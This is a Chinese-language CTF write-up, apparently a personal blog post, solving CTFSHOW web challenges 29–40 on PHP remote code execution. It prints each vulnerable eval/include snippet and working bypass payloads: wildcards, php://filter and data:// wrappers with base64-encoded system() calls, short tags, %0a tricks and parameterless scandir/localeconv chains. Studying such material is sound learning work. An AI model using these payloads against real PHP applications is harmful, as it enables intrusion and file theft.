命令执行RCE(CTFSHOW)
Lwwww Lv2

RCE

RCE(remote code execute):远程命令执行或者代码执行,我们平时说的rce,比如thinkPHP的rce漏洞,即算代码注入漏洞,也算rce漏洞,因为渗透的最终情况可以实现执行命令或者是代码都属于RCE,例如代码执行、文件包含、反序列化、命令执行,甚至是写文件Getshell都可以属于RCE

关于命令执行,我的认知是web的基础功底,很多别的种类的题目例如ssti这种类型的找到flag时用到的姿势和命令执行很相像思路也是比较接近,所以我们一定由浅入深的把基础的命令执行payload理解透彻

首先就是cat flag(别给我说这个你不会,不会自己查去其实就是个打开的命令,但是在我刚开始进行练习的时候面对的是个tac,一开始我以为是后端写的东西,必须倒叙才行,但是越感觉越不对劲,于是我就去问后来得到个差不多的理解

tac 我的理解是从cat的文件里面倒序出每一行其实就是一种简便的命令

isset() 函数用于检测变量是否已设置并且非 NULL//其实就是保证你正常传参的

本篇文章主要参考落寞的魚师傅的web命令执行入门 星|焰师傅的命令执行详解(但是理论偏多)说多无益多看看题试着做几道就会很舒服了

web29

1
2
3
4
5
6
7
8
9
10
11
<?php
error_reporting(0);
if(isset($_GET['c'])){
    $c $_GET['c'];
    if(!preg_match("/flag/i"$c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

传参禁止flag字段思路:用通配符*补充好flag.php,然后想办法搞到

?c=system("cp fla* example.txt");

积累姿势,这种情况是指的用复制命令把fla*– *号自动补充后面的内容其实就是指的flag.php

复制了一份新的并命名为example.txt再访问即可

web30

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php/i", $c)){
eval($c);
}

}else{
highlight_file(__FILE__);
}

payload:?c=echo exec('nl fla?????');//nl是一个文本处理命令,主要用于为文件中的行添加行号
//payload的意思我是这样翻译的:获取最后一行输出,然后这个命令是nl fla???,就是说fla??的那一行要显示行号然后显示出来内容
system()
passthru()//也是用于执行外部命令 passthru()函数主要用于执行一些会产生二进制输出的命令
exec()//它主要是获取命令执行后的最后一行输出。它会将命令的输出放入一个数组(如果提供了第二个参数),并且返回命令的最后一行输出内容。
shell_exec()//shell_exec()函数执行命令并返回命令的输出结果(作为一个字符串)。它类似于exec()函数,但返回的是完整的输出,而不是最后一行。
popen()
proc_open()
pcntl_exec()
反引号 同shell_exec()

反引号在php中类似于system函数 可以执行shell命令

web32

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
eval($c);
}

}else{
highlight_file(__FILE__);
}

payload:php://filter/read=convert.base64-encode/resource=flag.php #伪协议

?c=include_$GET[cmd]?>&cmd=php://filter/read=convert.base64-encode/resource=flag.php
?c=include$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
include函数:include是 PHP 中的文件包含函数,它的主要作用是将指定的文件内容包含到当前的 PHP 脚本中并执行。这意味着被包含文件中的 PHP 代码将在包含它的脚本的上下文中运行,就好像代码是直接写在包含它的脚本中一样。

这里过滤了反斜杠斜杠分号之类的

思路是用include函数实现不用括号的文件包含,然后再配合伪协议,分号使用>?代替

在这里我对于include_$GET这一内容不太理解去问sun师傅,孙师傅告诉我说是实现文件包含重造变量–重造了cmd这个传参然后使得传参不受限制了,**>?**代替了分号

web33

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)){
eval($c);
}

}else{
highlight_file(__FILE__);
}
//过滤了双引号,完全可以照搬32的payload



?c=include_$GET[lww]?
>&lww=php://filter/read=convert.base64-encode/resource=flag.php
?c=include$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php

web34

1
2
3
4
5
6
7
8
9
10
11
12
13
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i", $c)){
eval($c);
}

}else{
highlight_file(__FILE__);
}

可以一样用上面的payload

web35

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i", $c)){
eval($c);
}

}else{
highlight_file(__FILE__);
}

payload;
?c=include%0a$_GET[cmd]?>&cmd=php://filter/read=convert.base64-encode/resource=flag.php

?c=include$_GET[cmd]?>&cmd=data://text/plan,<?php system("tac flag.php")?>

?c=include$_GET[cmd]?>&cmd=data://text/plan;base64;PD9waHAgc3lzdGVtKCJjYXQgZmxhZy5waHAiKTs/Pg==
#到这里有三种方法可以使用

过滤了,=号和<括号这里可以使用data的base64 把要执行的命令加密了传进去

1
PD9waHAgc3lzdGVtKCJjYXQgZmxhZy5waHAiKTs/Pg==

web36

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
error_reporting(0); 
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i", $c)){
eval($c);
}

}else{
highlight_file(__FILE__);
}

payload;
?c=include%0a$_GET[cmd]?>&cmd=php://filter/read=convert.base64-encode/resource=flag.php
?c=include$_GET[cmd]?>&cmd=data://text/plan,<?php system("tac flag.php")?>


这次是多加了0-9的传参也就是说c传参里面原来的GET[cmd]本来是任意取值的现在的参数里面不能有数字

web37

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c);
echo $flag;

}

}else{
highlight_file(__FILE__);
}

?c=php://filter/read=convert.base64-encode/resource=flag.php #这里过滤了flag不要使用这一条没用 我只是都想测一遍用下面两个
?c=data://text/palin,<?php system("tac f*");?>
?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCJ0YWMgZioiKTs/Pg==

web38

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|php|file/i", $c)){
include($c);
echo $flag;
}

}else{
highlight_file(__FILE__);
}
data:// 是 PHP 支持的一个数据流包装协议,允许你使用数据(在这里是 PHP 代码)作为文件。
text/palin 是 data:// 协议的子类型,指定了数据的类型为纯文本。
<?=system("tac f*");?> 是 PHP 代码,使用 system 函数执行 tac f* 命令。

payload:
?c=data://text/palin,<?php system("tac f*");?> #(使用不了用第二个我只是进行对比)这里php被过滤了使用不了可以改为短标签
?c=data://text/palin,<?=system("tac f*");?>
?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCJ0YWMgZioiKTs/Pg==

web39

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c.".php");
}//使用 preg_match 函数和正则表达式 /flag/i 检查 $c 中是否包含 flag(不区分大小写)。如果不包含,将 $c 后面添加 .php 后缀并使用 include 函数包含该文件。


}else{
highlight_file(__FILE__);
}
payload:
?c=data://text/palin,<?=system("tac f*");?>
?c=data://text/palin,<?php system("tac f*");?>

这个地方 include($c.”.php”);我有很大的疑问,就是豆包给的解释是include($c.".php");:将拼接后的字符串作为文件路径,尝试包含这个文件。如果文件存在,PHP 会将该文件的内容包含到当前文件中并执行;如果文件不存在,根据 PHP 的配置不同,可能会产生一个警告或错误(不过在这段代码中,由于 error_reporting(0); 的设置,错误不会显示)。

但是这样解释是得不到flag的,于是我把sun师傅喊起来问他sun师傅解释一番但是我感觉不是很理解

最后的结论是: c是data://text/palin,后面衔接.php 但是这样理解是不对的 我的理解是在赋值的时候就已经进行命令执行了后面的.php实际上没有用到

web40

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
eval($c);
}

}else{
highlight_file(__FILE__);
}

payload
?c=print_r(show_source(array_rand(array_flip(scandir(pos(localeconv()))))));
?c=show_source(next(array_reverse(scandir(pos(localeconv())))));
next(): 函数将内部指针指向数组中的下一个元素,并输出。
?c=print_r(scandir(current(localeconv())));
scandir(current(localeconv())) 查看当前目录所有文件名
?c=highlight_file(next(array_reverse(scandir(pos(localeconv())))));

无参文件读取不是无回显

过滤了很多字符 有大写得括号 这里得考点是:无参数文件读取 无参数的意思可以是a()、a(b())或a(b(c())),但不能是a(‘b’)或a(‘b’,’c’),不能带参数 localeconv() 函数返回一包含本地数字及货币格式信息的数组。
current() 函数返回数组中的当前元素(单元),默认取第一个值,
pos() 同 current() ,是current()的别名
reset() 函数返回数组第一个单元的值,如果数组为空则返回 FALSE
array_reverse():数组逆序
array_flip()是交换数组的键和值

 给亮汪汪买点狗粮吧⋆⋅☆(✪Ω✪)☆⋅⋆
Powered by Hexo & Theme Keep
Total words 19.5k Unique Visitor Page View